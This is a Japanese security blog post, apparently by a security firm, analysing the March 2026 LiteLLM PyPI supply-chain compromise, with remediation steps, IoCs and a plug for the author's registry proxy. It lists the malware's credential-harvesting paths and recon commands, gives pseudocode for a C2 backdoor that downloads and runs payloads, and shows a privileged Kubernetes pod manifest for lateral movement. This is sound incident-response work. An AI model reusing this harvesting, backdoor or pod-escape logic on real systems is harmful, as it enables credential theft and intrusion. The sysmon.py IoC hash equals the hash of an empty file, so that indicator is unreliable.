2026年3月24日の LiteLLM 侵害の概要と対応指針
2026年3月24日、LLMプロキシライブラリ LiteLLM の PyPI パッケージが侵害されました。
攻撃者は PyPI のメンテナアカウント(krrishdholakia)を乗っ取り、クレデンシャル窃取・Kubernetes 対象のラテラル・永続化マルウェアを含むバージョン 1.82.7 および 1.82.8 を公開しました。
本記事では公開情報をもとに、事象の概要を記録します。また、対応指針を示します。
免責
本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。
TL;DR - 対応指針
-
pip show litellmによりインストール済バージョンを確認してください。 -
1.82.7または1.82.8がインストール済の場合、マルウェア感染の可能性があります。-
1.82.7は import 時に発火。発火した場合、永続化・データの漏洩につながる。 -
1.82.8は Python の起動のみで発火(.pth経由)。ただバグがあり、攻撃は成功しない。
-
- 影響を受けたバージョンをインストールしている場合は、
- まずアンインストールしてください。
- 漏洩が疑われるクレデンシャルを即座にローテーション してください。
- 利用継続する場合、現時点で安全と思わしき
1.82.6以前のバージョンにピン留めしてください。 - キャッシュからの再インストールを防ぐため、
pip cache purgeも実行してください。 - 以下を含むディレクトリに永続化されたバックドアが存在し得ます。確認・削除ください。
- ホスト上の
~/.config/sysmon/sysmon.py - ホスト上の
~/.config/systemd/user/sysmon.service - Kubernetes環境では
kube-systemnamespace にnode-setup-*という名前のPod
- ホスト上の
- なお現在は PyPI 上からは、既に前述の悪性バージョンをダウンロードできません。
概要
今回の侵害は、3月19日の Trivy 侵害、3月23日の Checkmarx KICS GitHub Action 侵害に続く、脅威アクタ TeamPCP による3月中3度目のサプライチェーン攻撃です。
Trivy侵害で窃取されたCI/CDシークレットが起点となり、LiteLLMのCI/CDパイプラインからPyPI公開用クレデンシャルが窃取された可能性が言及されています1。 筆者も同インシデントを中心とした影響範囲をトラックしていますが、もう正直追い切れるようなものではなくなっています・・・。
タイムライン
以下に概略を示します。
| 日時 (JST) | イベント |
|---|---|
| 3月24日 19:39 | 悪性バージョン 1.82.7 が PyPI に公開 |
| 3月24日 19:52 | 悪性バージョン 1.82.8 が PyPI に公開(.pth ベクターを追加) |
| 3月24日(時刻不明) | PyPI が悪性バージョンを停止 |
いずれもGitHub上に対応するタグやリリースは存在せず、PyPIへの直接アップロードです。
侵害の仕組み
侵害の起点、各バージョンごとの侵害内容に分けて説明します。
侵害の起点
今回の侵害では、バージョンごとに悪性コードの実行起点が変化しています。
| バージョン | 注入箇所 | 発火条件 |
|---|---|---|
1.82.7 |
litellm/proxy/proxy_server.py |
litellm.proxy のインポート時 |
1.82.8 |
加えて litellm_init.pth
|
加えて Pythonインタプリタの起動時 |
Python インタプリタは site-packages 内の .pth ファイルを自動処理するため、1.82.8 では、 LiteLLMをインポートしなくても、インストール済環境で Pythonプロセスが起動するだけでペイロードが実行されます。
バージョン 1.82.7 の動作(バグっていない)
1.82.7 は litellm.proxy が import されたタイミングで、proxy_server.py 内の難読化コードが実行されます。
GitHub Issue には import litellm や import litellm.proxy で発火しそうな記載がありますが、筆者の理解ではこれらでは発火しません。正確には、from litellm.proxy.proxy_server import app までいかないと発火しないはずです。これは litellm --port 8000のようなコマンド実行でも到達するコードパスなので、litellm ユーザーには影響がありそうです。また勿論、自分のコードが前記のように proxy_server まで到達する依存を持っている場合も発火しそうです。
発火した際は、大きく3段階で動作します。
- 収集: SSH鍵やクラウドクレデンシャル(AWS/GCP/Azure)等をホスト上から広範に収集する
-
漏洩: 収集データを AES-256-CBC + RSA-4096 で暗号化し、
models[.]litellm[.]cloudに HTTPS POST で送信する -
永続化:
~/.config/sysmon/sysmon.py+~/.config/systemd/user/sysmon.serviceにバックドアを配置し常駐する。50分間隔で C2(checkmarx[.]zone/raw)をポーリング
収集フェーズでは、静的解析した限り、以下ファイルが最大の読み取り対象となっています:
| カテゴリ | パス | 概要 |
|---|---|---|
| SSH | ~/.ssh/id_rsa |
RSA秘密鍵 |
~/.ssh/id_ed25519 |
Ed25519秘密鍵 | |
~/.ssh/id_ecdsa |
ECDSA秘密鍵 | |
~/.ssh/id_dsa |
DSA秘密鍵 | |
~/.ssh/authorized_keys |
公開鍵一覧 | |
~/.ssh/known_hosts |
接続先ホスト一覧 | |
~/.ssh/config |
SSH設定 (ProxyJump等) | |
~/.ssh/** (depth=2) |
.ssh配下の全ファイル | |
/etc/ssh/ssh_host_*_key |
ホスト秘密鍵 | |
| Git | ~/.git-credentials |
Git HTTPS認証トークン |
~/.gitconfig |
Git設定 (メール, 署名鍵等) | |
| AWS | ~/.aws/credentials |
アクセスキー/シークレットキー |
~/.aws/config |
リージョン/プロファイル設定 | |
| 環境変数/.env |
./.env, ../.env, ../../.env
|
CWD近傍の.envファイル |
同上 .env.local / .production / .development / .staging / .test
|
各環境のバリエーション | |
/app/.env |
コンテナ標準パス | |
/etc/environment |
システム環境変数 | |
/home, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp 以下の .env* (depth=6) |
全ディレクトリから.envを再帰探索 | |
| Kubernetes | ~/.kube/config |
kubeconfig (クラスタ認証) |
/etc/kubernetes/admin.conf |
K8s管理者設定 | |
/etc/kubernetes/kubelet.conf |
kubelet設定 | |
/etc/kubernetes/controller-manager.conf |
コントローラマネージャ | |
/etc/kubernetes/scheduler.conf |
スケジューラ | |
/var/run/secrets/kubernetes.io/serviceaccount/token |
SAトークン (Pod内) | |
同上 /ca.crt
|
CA証明書 | |
同上 /namespace
|
namespace名 | |
/run/secrets/kubernetes.io/serviceaccount/token |
同上 (別パス) | |
同上 /ca.crt
|
同上 | |
| GCP |
~/.config/gcloud/** (depth=4) |
gcloud全設定・トークン |
~/.config/gcloud/application_default_credentials.json |
ADC (サービスアカウント鍵) | |
| Azure |
~/.azure/** (depth=3) |
Azure CLI全設定・トークン |
| Docker | ~/.docker/config.json |
レジストリ認証トークン |
/kaniko/.docker/config.json |
CI/CDビルド用 | |
/root/.docker/config.json |
root用 | |
| npm | ~/.npmrc |
npm認証トークン |
| シークレット管理 | ~/.vault-token |
HashiCorp Vaultトークン |
~/.netrc |
HTTP Basic認証 | |
| FTP/メール | ~/.lftp/rc |
LFTP設定 (パスワード) |
~/.msmtprc |
SMTPパスワード | |
/etc/postfix/sasl_passwd |
Postfix SMTP認証 | |
/etc/msmtprc |
システムmsmtp設定 | |
| データベース | ~/.my.cnf |
MySQL認証情報 |
~/.pgpass |
PostgreSQL認証情報 | |
~/.mongorc.js |
MongoDB初期化スクリプト | |
/var/lib/postgresql/.pgpass |
PostgreSQLシステムユーザ | |
/etc/mysql/my.cnf |
MySQLシステム設定 | |
/etc/redis/redis.conf |
Redisパスワード | |
| LDAP | /etc/ldap/ldap.conf |
LDAPクライアント設定 |
/etc/openldap/ldap.conf |
同上 (別パス) | |
/etc/ldap.conf |
同上 (別パス) | |
/etc/ldap/slapd.conf |
LDAPサーバ設定 | |
/etc/openldap/slapd.conf |
同上 (別パス) | |
| VPN |
/etc/wireguard/*.conf (depth=1) |
WireGuard秘密鍵/ピア設定 |
| Helm |
~/.helm/** (depth=3) |
Helmリポジトリ認証 |
| IaC/CI | terraform.tfvars |
Terraform変数 (シークレット) |
全ルート以下 *.tfvars (depth=4) |
同上 (再帰探索) | |
全ルート以下 terraform.tfstate (depth=4) |
Terraform state (全リソース情報) | |
.gitlab-ci.yml |
GitLab CI設定 | |
.travis.yml |
Travis CI設定 | |
Jenkinsfile |
Jenkins Pipeline | |
.drone.yml |
Drone CI設定 | |
Anchor.toml |
Solana Anchor設定 | |
ansible.cfg |
Ansible設定 | |
| TLS証明書 |
/etc/ssl/private/*.key (depth=1) |
TLS秘密鍵 |
/etc/letsencrypt/**/*.pem (depth=4) |
Let’s Encrypt証明書・秘密鍵 | |
全ルート以下 *.pem, *.key, *.p12, *.pfx (depth=5) |
あらゆるTLS/PKI秘密鍵 | |
| 暗号資産 | ~/.bitcoin/bitcoin.conf |
Bitcoin RPC認証 |
~/.litecoin/litecoin.conf |
Litecoin RPC認証 | |
~/.dogecoin/dogecoin.conf |
Dogecoin RPC認証 | |
~/.zcash/zcash.conf |
Zcash RPC認証 | |
~/.dashcore/dash.conf |
Dash RPC認証 | |
~/.ripple/rippled.cfg |
Ripple設定 | |
~/.bitmonero/bitmonero.conf |
Monero設定 | |
~/.bitcoin/wallet*.dat (depth=2) |
Bitcoinウォレット | |
~/.ethereum/keystore/** (depth=1) |
Ethereum秘密鍵 | |
~/.cardano/**/*.skey, *.vkey (depth=3) |
Cardano署名鍵/検証鍵 | |
~/.config/solana/** (depth=3) |
Solana CLI鍵 | |
~/validator-keypair.json |
Solanaバリデータ鍵 | |
~/vote-account-keypair.json |
Solana投票アカウント鍵 | |
~/authorized-withdrawer-keypair.json |
Solana出金権限鍵 | |
~/stake-account-keypair.json |
Solanaステーク鍵 | |
~/identity.json |
Solanaバリデータ識別鍵 | |
~/faucet-keypair.json |
Solana Faucet鍵 | |
~/ledger/** *.json, *.bin (depth=3) |
台帳/鍵ファイル | |
/home/sol, /home/solana, /opt/solana, /solana, /app, /data の validator-keypair.json
|
バリデータ標準パス | |
CWD以下 id.json, keypair.json, *-keypair.json, wallet*.json (depth=8) |
Solana/Anchor成果物 | |
.anchor/, ./target/deploy/, ./keys/ 以下 *.json (depth=5) |
Anchorビルド成果物 | |
| シェル履歴 | ~/.bash_history |
Bash履歴 |
~/.zsh_history |
Zsh履歴 | |
~/.sh_history |
sh履歴 | |
~/.mysql_history |
MySQLクエリ履歴 | |
~/.psql_history |
PostgreSQLクエリ履歴 | |
~/.rediscli_history |
Redis CLI履歴 | |
| システム | /etc/passwd |
ユーザ一覧 |
/etc/shadow |
パスワードハッシュ |
コマンド実行によるデータ収集も行われます。以下が静的解析の範囲で確認できるコマンドです。
| カテゴリ | コマンド | 概要 |
|---|---|---|
| システム偵察 | hostname; pwd; whoami; uname -a; ip addr \|\| ifconfig; ip route |
ホスト名, ユーザ, OS, NIC, ルーティング |
| 環境変数 | printenv |
全環境変数ダンプ |
| AWS | env \| grep AWS_ |
AWS系環境変数 |
| K8s | find /var/secrets /run/secrets -type f \| xargs sh -c 'cat "{}"' |
マウントされたSecret全取得 |
| K8s | env \| grep -i kube; env \| grep -i k8s |
K8s系環境変数 |
| K8s | kubectl get secrets --all-namespaces -o json |
全namespace Secret |
| GCP | env \| grep -i google; env \| grep -i gcloud |
GCP系環境変数 |
| GCP | cat $GOOGLE_APPLICATION_CREDENTIALS |
SA鍵ファイル |
| Azure | env \| grep -i azure |
Azure系環境変数 |
| DB | env \| grep -iE "(DATABASE\|DB_\|MYSQL\|POSTGRES\|MONGO\|REDIS\|VAULT)" |
DB接続文字列/パスワード |
| VPN | wg showconf all |
WireGuard全設定 |
| Webhook | grep -r "hooks.slack.com\|discord.com/api/webhooks" . |
Slack/Discord Webhook URL |
| APIキー | grep -rE "api[_-]?key\|apikey\|api[_-]?secret\|access[_-]?token" . --include="*.env*" ... |
.env/.json/.yml内のAPIキー/シークレット |
| Solana | env \| grep -i solana |
Solana系環境変数 |
| 暗号資産 | grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home |
RPC認証情報 |
| 認証ログ | cat /var/log/auth.log \| grep Accepted \| tail -200 |
SSH成功ログイン履歴 |
| 認証ログ | cat /var/log/secure \| grep Accepted \| tail -200 |
同上 (RHEL系) |
urllib 経由で収集する対象もありました。以下が静的解析の範囲で確認できる範囲です。
| カテゴリ | エンドポイント | 概要 |
|---|---|---|
| AWS IMDSv2 | PUT 169.254.169.254/latest/api/token |
セッショントークン取得 |
| AWS IMDSv2 | GET 169.254.169.254/latest/meta-data/iam/security-credentials/ |
IAMロール名取得 |
| AWS IMDSv2 | GET 169.254.169.254/latest/meta-data/iam/security-credentials/{role} |
IAM一時クレデンシャル取得 |
| AWS Secrets Manager | POST secretsmanager.{region}.amazonaws.com |
ListSecrets |
| AWS Secrets Manager | POST secretsmanager.{region}.amazonaws.com |
GetSecretValue (全件) |
| AWS SSM | POST ssm.{region}.amazonaws.com |
DescribeParameters |
| K8s API | GET /api/v1/secrets |
全Secret取得 |
| K8s API | GET /api/v1/namespaces |
namespace一覧 |
| K8s API | GET /api/v1/namespaces/{ns}/secrets |
ns別Secret取得 |
| K8s API | GET /api/v1/nodes |
ノード一覧 (ラテラル用) |
| K8s API | POST /api/v1/namespaces/kube-system/pods |
特権Pod作成 (ラテラル) |
収集されたデータは AES-256-CBC + RSA-4096 で暗号化され、models[.]litellm[.]cloud に HTTPS POST で送信されます。
暗号化に使われる RSA 公開鍵はペイロード内にハードコードされています。
永続化フェーズでは、~/.config/sysmon/sysmon.py にバックドアを配置し、systemd ユーザーサービスとして常駐させます。
典型的な C2 ポーリング型のバックドアで、擬似コードで示すと以下のような動作です。
C_URL = "https://checkmarx[.]zone/raw" # C2 サーバー
TARGET = "/tmp/pglog" # ダウンロード先
STATE = "/tmp/.pg_state" # 前回URL記録
time.sleep(300) # 起動後 5 分間スリープ (サンドボックス回避)
while True:
url = fetch(C_URL) # C2 に GET → ペイロード URL が返る
if url != prev:
download(url, TARGET)
chmod(TARGET, 755)
Popen([TARGET]) # 実行
time.sleep(3000) # 50 分間隔でポーリング
Kubernetes 環境に対してのみ、hostPID/hostNetwork = True な特権Podを全ノードに作成し、ホスト側でも同じバックドアを実行しようとします。
デプロイされるマニフェストのイメージは以下です。
pod_manifest = {
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name, # 各ノードを指定
'hostPID': True, # ホストの PID namespace 共有
'hostNetwork': True, # ホストのネットワーク共有
'tolerations': [{'operator': 'Exists'}], # 全 taint 無視 (master でも動く)
'containers': [{
'image': 'alpine:latest',
'securityContext': {'privileged': True}, # 特権
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] # ホスト / をマウント
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
}
}
バージョン 1.82.8 の動作(バグっている)
静的に解析する限り、基本的に攻撃者が実行したかったであろうことは、バージョン 1.82.7 と同等だったと考えられます。
一方、実行トレースも取って観察しましたが、以下のようなパターンが繰り返されます:
python -c "..." ← .pth がトリガーされる
└→ python -c "import base64; exec(b64decode(...))" ← デコード&実行
├→ python - (stdin payload)
│ ├→ sh -c "hostname; pwd; whoami; uname -a; ip addr; ip route"
│ ├→ sh -c "printenv"
│ └→ ...
│
└→ python -c "import base64; exec(...)" ← 再帰的な実行(!)
└→ [同一チェーンを再帰的に繰り返し]
これは 1.82.7 と同じスクリプトを実行しようとするものの、途中に Python を subprocess で起動する実装が含まれることにより起こっています。 .pth が .pth のロードを自己再帰的に引き起こすということです。fork bomb 相当ともいえます。
おそらく 1.82.8 に感染した端末では、CPU・メモリの異常使用を除けば、攻撃はなかなか成立しなかったのではないかと推察されます。筆者がトレースの取得を試みた際は、CPU・メモリを食いつぶしてVMが死んでしまいました。
対応指針
以下は筆者の調査結果を踏まえた参考情報であり、記録として示すものです。 正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。 実際の対応は各組織の判断に基づいて行ってください。
1. バージョン確認
pip show litellm 2>/dev/null | grep -i version
1.82.7 または 1.82.8 が表示された場合、以降の手順に進んでください。
それ以外のバージョンであれば、直接的な影響はありません。
2. アンインストールとキャッシュ削除
pip uninstall litellm
pip cache purge
利用を継続する場合は litellm<=1.82.6 にピン留めしてください。
3. バックドアの確認と除去
# バックドアの存在確認
ls -la ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service 2>/dev/null
# 存在した場合の除去
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload
Kubernetes 環境では、kube-system namespace に node-setup-* Pod が作成されていないかも確認してください。
kubectl get pods -n kube-system | grep node-setup
4. クレデンシャルのローテーション
1.82.7 が import された可能性がある環境では、前述の収集対象を踏まえ、クレデンシャルのローテーションを検討してください。
1.82.8 に感染した環境であっても、場合によっては刺さる可能性がゼロではない為、同様です。
推奨:自衛手段の整備
Trivy侵害から始まったTeamPCPの連鎖攻撃は、KICS、そしてLiteLLMへと波及しており、窃取済みクレデンシャルを起点にした侵害が今後も続く可能性があります。 次にどのパッケージが狙われるかは予測できないため、可能な限りの自衛を推奨します。
自衛策の一つとすべく、筆者が所属する組織(GMO Flatt Security)から、セキュアなレジストリプロキシ Takumi Guard の PyPI エンドポイント をリリースしました。
Takumi Guard は pip/uv/poetry と PyPI(レジストリ)の間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。我々で全ての新規パッケージを検査しています。 また、仮にある時点ではパッケージがマルウェアと判定できず、ブロックされなかった場合も、後日の通知を行う仕組みもあります。なお通知を受けるためには、メールアドレスの登録が必要です(それはそうなのですが)。
また、今回は諸般の流れを汲み、やや冒険的ですが 72時間の検疫期間を設けています。新規公開バージョンが 72 時間はインストールできない仕組みです。今回の場合、公開から数時間でマルウェアがテイクダウンされている為、このような事象からの影響を受ける可能性が低減できます。現状 uv以外では npm 文化圏でいう minimumReleaseAge に相当する仕組みが見当たらず、一定この意味で寄与するものと思料します。
導入は index URL の変更のみで完了します。必要に応じて利用を検討してください。
# pip
export PIP_INDEX_URL=https://pypi.flatt.tech/simple/
# uv
export UV_INDEX_URL=https://pypi.flatt.tech/simple/
# poetry
poetry source add --priority=primary takumi-guard https://pypi.flatt.tech/simple/
IoCs
確認された侵害の痕跡(Indicators of Compromise)を以下に示します。
ネットワーク
| 種別 | 値 | 備考 |
|---|---|---|
| ドメイン | models[.]litellm[.]cloud |
データの持ち出し先。公式に似せたドメイン |
| ドメイン | checkmarx[.]zone |
C2。/raw からペイロード配信 |
パッケージそのもの
| 種別 | 値 |
|---|---|
| 侵害バージョン |
litellm==1.82.7, litellm==1.82.8
|
| SHA-256 (1.82.7 wheel) | 8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2 |
| SHA-256 (1.82.8 wheel) | d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb |
| SHA-256 (litellm_init.pth) | 71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238 |
| SHA-256 (proxy_server.py) | a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b |
永続化に関わるもの
| パス | ハッシュ |
|---|---|
~/.config/sysmon/sysmon.py |
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
~/.config/systemd/user/sysmon.service |
うまく取得できず。でき次第追記します |
/tmp/pglog |
状況による |
/tmp/.pg_state |
状況による |
-
https://news.ycombinator.com/item?id=47502858 より。datente18 さんがメンテナであることは、確実には確認していませんが、GitHub リポジトリの内容から主張自体は正しいと判断 ↩